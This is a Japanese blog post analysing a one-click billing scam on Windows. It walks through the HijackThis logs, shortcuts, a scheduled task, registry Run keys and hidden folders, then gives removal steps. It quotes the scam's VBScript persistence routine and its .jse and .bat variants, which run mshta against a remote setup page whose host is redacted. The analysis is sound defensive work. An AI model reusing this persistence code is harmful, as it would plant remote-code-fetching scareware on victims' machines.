JPなんとかというサイト。その筋(?)には有名らしい。トップページには料金がデッカく書いてあったりするけど再生ページではわからない。orz
三段撃ちをかましよりやがりました。orzorz
- タスク(スケジューラ)へ登録
- レジストリ Run キーへショートカット (.lnk) の登録
- スタートアップフォルダへショートカット作成
尚、このページではコマンドでごにょごにょしてますが、普通に HijackThis やらエクスプローラーやレジストリ エディター使う方が楽だと思われます。駆除方法の参考には多分あんまりならないので。あしからず。
環境は 7 Enterprise SP1 x86 の IE9、SmartScreen は無効で。ではでは。。。
ダウンロードされるセットアップ htaファイルをそのまま実行するする(「セキュリティの警告」画面は出るけどUACの警告はなしなんですなぁ。orzorzorz)
- IEのポップアップ表示
- Windows Media Player 起動してエロ動画再生
- デスクトップに請求画面表示
直後の HijackThis のログのあやしい部分
Running processes: C:\Windows\System32\mshta.exe O4 - HKCU\..\Run: [SystemBootE9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X] C:\Users\eroisaru\UserProfile\SystemBoot.lnk O4 - HKCU\..\Run: [RegWriteE9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X] C:\Users\eroisaru\SoftRecovery\RegWrite.lnk O4 - Startup: RegWrite.lnk = C:\Windows\System32\mshta.exe Listing of startup folders: Shell folders Startup: [C:\Users\eroisaru\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup] RegWrite.lnk = C:\Windows\System32\mshta.exe
※ C:\Windows\System32\mshta.exe
はWindowsの正規ファイル。
※ XP Proではレジストリ HKLM の Run キーにも登録されました。
ショートカットのプロパティを確認
============================================================ C:\Users\eroisaru\UserProfile\SystemBoot.lnk ============================================================ リンク先 : C:\Users\eroisaru\UserProfile\htmlapp.exe 引数 : http://<省略>/reg2.php?cccid=E9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X コメント : 作成日時 : 2012/01/17 0:45 更新日時 : 2012/01/17 0:58 ============================================================ C:\Users\eroisaru\SoftRecovery\RegWrite.lnk ============================================================ リンク先 : C:\Windows\System32\mshta.exe 引数 : http://<省略>/set_inf2.php?cccid=E9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X コメント : 作成日時 : 2012/01/17 0:45 更新日時 : 2012/01/17 1:04 ============================================================ C:\Users\eroisaru\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RegWrite.lnk ============================================================ リンク先 : C:\Windows\System32\mshta.exe 引数 : http://<省略>/set_inf2.php?cccid=E9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X コメント : 作成日時 : 2012/01/17 0:45 更新日時 : 2012/01/17 0:59
今回のヤツは %UserProfile%
直下にディレクトリを作成してコピーしてました。すべて隠し設定。.lnkファイルのアイコンはフォルダアイコン。
reg2.php
が請求画面の表示、set_inf2.php
はセットアップファイルの模様。
タスク スケジューラを確認。下記があやすーいエントリ。
C:\Windows\system32\mshta.exe 引数 : http://<省略>/set_inf2.php?cccid=E9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X 00:01:00 ごと無期限
※ 普通は他に Real とか Google とか色々あるかも。
set_inf2.php
はセットアップファイルなのでタスクが有効な限り何度でも復元されちゃうわけですね。
タスクの無効化、msconfig で3点チェックオフ後に再起動で請求画面は出なくなりました。
尚、msconfig で Startup(スタートアップフォルダ)のスタートアップ項目の名前が「Windows Internet Explorer」となっててややこしいのでコマンド列で確認すべし。
ディレクトリの確認。(dir /a/tc
)
C:\Users\eroisaru\UserProfile のディレクトリ 2012/01/17 00:45 <DIR> . 2012/01/17 00:45 <DIR> .. 2012/01/17 00:45 11,776 htmlapp.exe 2012/01/17 00:45 918 SystemBoot.lnk 2 個のファイル 12,694 バイト 2 個のディレクトリ 55,485,534,208 バイトの空き領域 C:\Users\eroisaru\SoftRecovery のディレクトリ 2012/01/17 00:45 <DIR> . 2012/01/17 00:45 <DIR> .. 2012/01/17 00:45 990 RegWrite.lnk 1 個のファイル 990 バイト 2 個のディレクトリ 55,485,530,112 バイトの空き領域
attrib SoftRecovery H C:\Users\eroisaru\SoftRecovery attrib *.* A H C:\Users\eroisaru\SoftRecovery\RegWrite.lnk attrib UserProfile H C:\Users\eroisaru\UserProfile attrib *.* A H C:\Users\eroisaru\UserProfile\htmlapp.exe A H C:\Users\eroisaru\UserProfile\SystemBoot.lnk
htmlapp.exe は mshta.exe のコピー
========================================================= C:\Users\eroisaru\UserProfile\htmlapp.exe ========================================================= File Version : 9.0.8112.16421 Product Version : 9.00.8112.16421 説明 : ファイルの説明 : Microsoft (R) HTML Application host 最終更新日時 : 2011/12/31 16:45 作成日時 : 2012/01/17 0:45 サイズ : 11.5 KB ========================================================= C:\Users\eroisaru\UserProfile\htmlapp.exe md5: 061cbb1058a10c0875d18caff835ae97 C:\Windows\System32\mshta.exe md5: 061cbb1058a10c0875d18caff835ae97 =========================================================
msconfig でオフにしたレジストリの確認。
set desktop=デスクトップ ver | find "Version 6" >nul && set desktop=Desktop set "Backup=%UserProfile%\%desktop%\わんくり_backup" mkdir "%Backup%" 2>nul set "BackupReg=%Backup%\MSConfig.reg.txt" set "RegKey=HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig" reg export "%RegKey%" "%BackupReg%" start "" "%BackupReg%"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder\C:^Users^eroisaru^AppData^Roaming^Microsoft^Windows^Start Menu^Programs^Startup^RegWrite.lnk] "path"="C:\\Users\\eroisaru\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\RegWrite.lnk" "backup"="C:\\Windows\\pss\\RegWrite.lnk.Startup" "location"="C:\\Users\\eroisaru\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" "backupExtension"=".Startup" "command"="C:\\Windows\\System32\\mshta.exe http://<省略>/set_inf2.php?cccid=E9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X" <省略> [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\RegWriteE9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X] "key"="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" "item"="RegWriteE9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X" "hkey"="HKCU" "command"="C:\\Users\\eroisaru\\SoftRecovery\\RegWrite.lnk" <省略> [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\SystemBootE9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X] "key"="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" "item"="SystemBootE9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X" "hkey"="HKCU" "command"="C:\\Users\\eroisaru\\UserProfile\\SystemBoot.lnk" <省略>
MSConfig キーではスタートアップショートカットのコマンドまで確認できるんですなぁ。あと C:\Windows\pss
フォルダにバックアップがコピーされてるので後で削除しませう。
処置は、
- タスクの削除
- ディレクトリ2点削除
- レジストリキー3点削除
- Startup のバックアップファイル
C:\Windows\pss\RegWrite.lnk.Startup
削除
set_inf2.php
について、たまたまなのか全部平文で落ちてきたことがありました。その VBScript の Sub ちゃん(一部)を抜粋。
sub rg(dummy) Dim HttpHost Dim HtaName Dim DirectoryName Dim ShortcutName Dim RecoveryDirName Dim RecoveryName HttpHost="http://<省略>" HtaName = "htmlapp.exe" DirectoryName = "UserProfile" ShortcutName = "SystemBoot.lnk" RecoveryDirName = "SoftRecovery" RecoveryName = "RegWrite.lnk" Dim WshShell Dim FileSystem Dim WindowsDirectory Set WshShell = CreateObject("WScript.Shell") Set FileSystem = CreateObject("Scripting.FileSystemObject") WindowsDirectory = WshShell.ExpandEnvironmentStrings("%SystemRoot%") Dim ApplicationDirectory Dim DocumentDirectory Dim RecoveryDirectory ApplicationDirectory = WshShell.ExpandEnvironmentStrings("%USERPROFILE%") DocumentDirectory = ApplicationDirectory & "\" & DirectoryName RecoveryDirectory = ApplicationDirectory & "\" & RecoveryDirName If FileSystem.FolderExists(ApplicationDirectory) = false Then Call FileSystem.CreateFolder(ApplicationDirectory) End If If FileSystem.FolderExists(DocumentDirectory) = false Then Call FileSystem.CreateFolder(DocumentDirectory) End If If FileSystem.FolderExists(RecoveryDirectory) = false Then Call FileSystem.CreateFolder(RecoveryDirectory) End If Dim OrgHta Dim NewHta OrgHta = WindowsDirectory & "\system32\mshta.exe" NewHta = DocumentDirectory & "\" & HtaName If FileSystem.FileExists(NewHta) = false Then Call FileSystem.CopyFile(OrgHta , NewHta , false) End If Dim ShortcutPath ShortcutPath = DocumentDirectory & "\" & ShortcutName Dim RecoveryPath RecoveryPath = RecoveryDirectory & "\" & RecoveryName Dim sc Set sc = WshShell.CreateShortcut(ShortcutPath) With sc .TargetPath = NewHta .Arguments = HttpHost & "/reg2.php?cccid=" & dummy .IconLocation = "shell32.dll,3" .Save End With Set sc = Nothing ' Dim sc Set sc = WshShell.CreateShortcut(RecoveryPath) With sc .TargetPath = OrgHta .Arguments = HttpHost & "/set_inf2.php?cccid=" & dummy .IconLocation = "shell32.dll,3" .Save End With Set sc = Nothing WshShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemBoot" & dummy , ShortcutPath , "REG_SZ" Dim Wmi Dim Os Set Wmi = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2") Set Os= wmi.ExecQuery ("SELECT * FROM Win32_OperatingSystem") For Each value in Os If left(value.Version, 3) < 6.0 Then WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegWrite" & dummy , RecoveryPath , "REG_SZ" else WshShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegWrite" & dummy , RecoveryPath , "REG_SZ" End If Next Dim objFile Set objFile = FileSystem.GetFile(ShortcutPath) objFile.Attributes = (objFile.Attributes Or 2) Set objFile = FileSystem.GetFile(RecoveryPath) objFile.Attributes = (objFile.Attributes Or 2) Set objFile = FileSystem.GetFile(NewHta) objFile.Attributes = (objFile.Attributes Or 2) Set objFile = FileSystem.GetFolder(ApplicationDirectory) objFile.Attributes = (objFile.Attributes Or 2) Set objFile = FileSystem.GetFolder(DocumentDirectory) objFile.Attributes = (objFile.Attributes Or 2) Set objFile = FileSystem.GetFolder(RecoveryDirectory) objFile.Attributes = (objFile.Attributes Or 2) window.Close() end sub
内容は私でもわかる(笑)レベルですた。XP以下では HKLM のRunキーに書き込みとかしよるんですなぁ。
- 【追記】JScript とかな場合も
-
.lnk
以外に JScript ファイルが作られる場合もありました。O4 - HKCU\..\Run: [RegWritecFYYx00VhFPAk8e9eEyMrDVGfeKRZEYk] C:\Users\eroisaru\SoftRecovery\datcFYYx00VhFPAk8e9eEyMrDVGfeKRZEYk.jse
var objWShell = new ActiveXObject("WScript.Shell") objWShell.Run("C:\\Windows\\System32\\mshta.exe []http://<省略>/set_inf2.php?cccid=cFYYx00VhFPAk8e9eEyMrDVGfeKRZEYk[]", 1, false) objWShell = null
拡張子は
.jse
ですが中身は平文。内容は.lnk
ファイルとほぼ同じなんでjseにする意味はあるのかなと思ったり。.cmd
や.bat
の場合もある模様。O4 - HKCU\..\Run: [RegWritecFYYx00VhFPAk8e9eEyMrDVGfeKRZEYk] C:\Users\eroisaru\SoftRecovery\datcFYYx00VhFPAk8e9eEyMrDVGfeKRZEYk.bat
@ECHO OFF START /B mshta.exe http://<省略>/set_inf2.php?cccid=cFYYx00VhFPAk8e9eEyMrDVGfeKRZEYk